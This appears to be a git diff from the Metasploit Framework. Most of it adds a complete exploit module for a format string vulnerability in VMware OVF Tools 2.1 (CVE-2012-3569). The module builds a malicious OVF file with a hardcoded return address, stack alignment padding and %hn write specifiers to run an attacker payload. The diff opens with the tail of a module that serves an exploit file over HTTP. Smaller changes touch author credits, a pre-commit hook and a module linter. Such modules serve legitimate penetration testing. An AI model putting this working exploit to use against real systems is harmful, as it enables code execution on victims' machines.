isn't required + print_status("Sending Not Found for Manifest file request...") + send_not_found(cli) + end + + print_status("Sending OVF exploit...") + send_response(cli, ovf, {'Content-Type'=>'text/xml'}) + end + +end \ No newline at end of file diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index a8ba842b7e..2e2ad87d3f 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb new file mode 100644 index 0000000000..cbd21fed2a --- /dev/null +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), + ], self.class) + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") + file_create(ovf) + end +end diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb new file mode 100755 index 0000000000..2625d6d64a --- /dev/null +++ b/tools/dev/pre-commit-hook.rb @@ -0,0 +1,54 @@ +#!/usr/bin/env ruby + +# Check that modules actually pass msftidy checks first. +# To install this script, make this your pre-commit hook your local +# metasploit-framework clone. For example, if you have checked out +# the Metasploit Framework to: +# +# /home/mcfakepants/git/metasploit-framework +# +# then you will copy this script to: +# +# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit +# +# You must mark it executable (chmod +x), and do not name it +# pre-commit.rb (just pre-commit) +# +# If you want to keep up on changes with this hook, just: +# +# ln -sf + +valid = true # Presume validity +files_to_check = [] + +results = %x[git diff --cached --name-only] + +results.each_line do |fname| + fname.strip! + next unless File.exist?(fname) and File.file?(fname) + next unless fname =~ /modules.+\.rb/ + files_to_check << fname +end + +if files_to_check.empty? + puts "--- No Metasploit modules to check, committing. ---" +else + puts "--- Checking module syntax with tools/msftidy.rb ---" + files_to_check.each do |fname| + cmd = "ruby ./tools/msftidy.rb #{fname}" + msftidy_output= %x[ #{cmd} ] + puts "#{fname} - msftidy check passed" if msftidy_output.empty? + msftidy_output.each_line do |line| + valid = false + puts line + end + end + puts "-" * 52 +end + +unless valid + puts "msftidy.rb objected, aborting commit" + puts "To bypass this check use: git commit --no-verify" + puts "-" * 52 + exit(1) +end diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..8faa3b03d5 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -204,7 +204,7 @@ class Msftidy end if author_name =~ /^@.+$/ - error("No Twitter handle, please. Try leaving it in a comment instead.") + error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? @@ -226,9 +226,7 @@ class Msftidy puts "Checking syntax for #{f_rel}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - rubies.size == res.size - - error("Fails alternate Ruby version check") if rubies.size + error("Fails alternate Ruby version check") if rubies.size != res.size end def check_ranking @@ -281,6 +279,7 @@ class Msftidy words.each do |word| if %w{and or the for to in of as with a an on at}.include?(word) next + elsif %w{pbot}.include?(word) elsif word =~ /^[a-z]+$/ warn("Improper capitalization in module title: '#{word}'") end